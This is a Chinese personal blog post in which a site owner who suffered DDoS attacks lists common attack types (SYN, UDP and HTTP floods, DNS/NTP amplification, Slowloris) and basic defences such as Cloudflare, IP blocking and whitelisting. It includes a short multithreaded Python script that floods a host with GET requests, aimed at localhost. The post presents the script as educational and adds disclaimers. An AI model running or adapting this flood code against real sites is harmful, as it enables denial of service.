DDOS网络攻击的原理及其防护 – 苏的小站

成功 用自己的方式度过一生

个人作品展示

苏的小站 · 科技爱好者

爱好者

面试作品 简历展示、项目简介、技术栈
风格 现代、简约

DDOS网络攻击的原理及其防护

注:本人因为最开始搭建网站时,被攻击了很多次,也被阿里云官方给我服务器拉进黑洞很多次,对于这种行为是绝对痛恨的,于是,便学习了DDOS攻击的原理,及用python写了一个测试压力的小工具,仅用于参考学习,如用于违法犯罪本人概不负责。

免责声明:请不要用他来攻击任何网站,维护好网络环境

原理:我们知道,一个电子设备其承载能力是有限的,DDOS就是利用了这一点,原理就是模拟很多人在同一时间访问你的网站,达到把你的服务器冲垮的目的。

例如我之前的服务器就是被冲了快一个星期

所以本人是很痛恨这种行为,严重影响了本人的使用,至于黑洞,就是云服务器运营商为了防止服务器损坏就直接加入黑名单,公网IP这些基本上就直接用不了了,一般关半小时左右,如果攻击没有停就加长黑洞时间,对于企业的话一般就是会用高防的,一般个人也可以买,当然一万往上,就只有富哥玩的起,我们一般都是套个cloudflare的防护,免费的,就很良心,但是因为其本身在国外的原因,所以套了这个你的网站访问可能会变慢。

攻击方式

  1. TCP 洪水攻击(TCP Flood)这是最简单的方式。

大量建立半连接、全连接请求,三次握手只做一半,不断向目标发起连接,耗尽服务器连接池、CPU、内存。

  1. SYN 洪水攻击(SYN Flood)

只发送握手第一步 SYN 包,不完成三次握手
服务器会一直等待你回复,大量半连接堆积,直接占满服务器连接队列,服务器直接瘫痪。
杀伤力远大于普通TCP攻击。

  1. UDP 洪水攻击(UDP Flood)

UDP不需要握手,直接疯狂发超大数据包
无脑灌流量,直接打满对方宽带,网络直接断流、掉线、延迟999+
游戏服务器最怕这个。

  1. ACK Flood

大量发送确认数据包,干扰服务器正常网络判断,消耗处理性能。

  1. HTTP GET 洪水 / CC攻击(我本人遇到的就是这种情况)

模拟大量用户疯狂刷新网页、请求接口、访问链接
专门打网站、网页、后台,让网站打不开、502、503崩溃,一般主要攻击8080这个端口,这是网站一般的默认端口。

  1. POST Flood

大量提交表单、上传数据请求,压榨网站后端数据库压力

  1. DNS 放大攻击

利用公共DNS服务器,小包进、大包出
用极小流量,打出几十倍超大流量,低成本高伤害。

  1. NTP 放大攻击

和DNS同理,时间服务器反射流量,巨型流量DDoS

  1. ICMP 洪水(Ping洪水)

疯狂Ping目标IP,海量数据包冲击网关,网络直接卡死

  1. Slowloris 慢速攻击(慢速连接攻击)

慢慢发包、不关闭连接,一条连接占用很久
少量线程就能搞垮中小型网站,极其隐蔽

  1. UDP Fragment 分片攻击

把超大数据包拆碎轰炸,防火墙很难防御

  1. 混合DDoS

同时 UDP+SYN+HTTP+ICMP 一起打,全能型轰炸

分类

1. 网络层:UDP、ICMP、SYN、DNS放大
2. 传输层:TCP Flood、ACK Flood
3. 应用层:CC攻击、HTTP洪水、Slowloris

反正对于DDOS攻击就算是那些专家也并没有特别好的方法。

对于个人开发者我的方法就是

1、套cloudflare防护的这个壳

2、加黑名单,封IP

3、加一个人机访问

4、开白名单,只有你固定的IP才可以访问。

实现方法(主要是本人被攻击的方法)再次声明,仅用于学习,如果有人用于攻击本人概不负责

导入所需要的库

import socket
import threading
import time

配置好

访问网址(注意这里不准任何人更改,如有更改就不是本人写的)

url = “127.0.0.1”

网址端口

port = 80

开启多线程访问(注意这里不准任何人更改,如有更改就不是本人写的)

thread_num = 5

最简单的数据包发送

http_data = b”GET / HTTP/1.1\r\nHost:localhost\r\n\r\n”

定义一个无限循环的任务

def visit():
# 无限循环 一直不停访问网站
while True:
# 1.创建一个网络通道,相当于打开一条上网小路
net = socket.socket()
try:
#2.和目标网站服务器建立连接
net.connect((url, port))

#3.发送访问请求,告诉服务器我要打开网页
net.send(http_data)

print(“正在访问网站”)

except:
#4连接失败直接跳过
pass

#5设置请求频率的
time.sleep(0.05)

#6弄出大量线程服务

for i in range(thread_num):
# 7创建一条新线程,也就是一个新用户
t = threading.Thread(target=visit)
# 8启动这个用户,开始疯狂访问
t.start()

整体运行原理(本人这里只介绍原理,无任何教唆,鼓动行为,如果有人敢拿去更改那么,本人概不负责,且不会承认是本人的代码)

程序一次性创建 10个虚拟用户
每个用户不停的连接网站、发送访问请求
大量请求一瞬间全部涌入服务器
服务器处理不过来海量访问
网站卡顿、打不开、压力爆满
这就是 CC流量访问、应用层DDoS 最核心最简单原理

以上就是最简单的实现方法

这是攻击本人博客网站大致的效果

前面有用但是后面大部分都被过滤掉了,所以基本上就图一乐。

但是本人就仅仅只是用于学习,如果有人敢拿出去用后果自己负责,请使用的人对自己的行为负责,都是成年人请为自己的一言一行及所作所为负责,本人因为被打怕了,才去学的这个,而且其很简陋,基本上攻击不了任何东西,这里只是方便那些被攻击的人知道原理并做好防护措施,网警叔叔,你好,本人就是大致介绍,没人任何其他想法,打的也只是自己的博客网站,无任何危害行为。

总结:上便是大致的方法以及反制方法,如果真正想要去学习请去专门的网络安全的地方去学习,网络不是法外之地,祝所有小型合法网站永远稳定运行。



1 条评论

  1. 这里再做补充,本文介绍的多线程访问脚本,属于应用层CC攻击,是客户端与服务器1:1流量消耗的请求洪水。
    而真正DDoS攻击的核心是流量放大机制,能用极小流量生成巨量攻击流量,大规模攻击基本由集群组织发起。
    同时正规服务器自带基础防护,普通流量攻击大多会被直接拦截,这就是为什么后面就没多少反应了,反正一般攻击者的想法是用极少的成本做到攻击倒你的目的

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注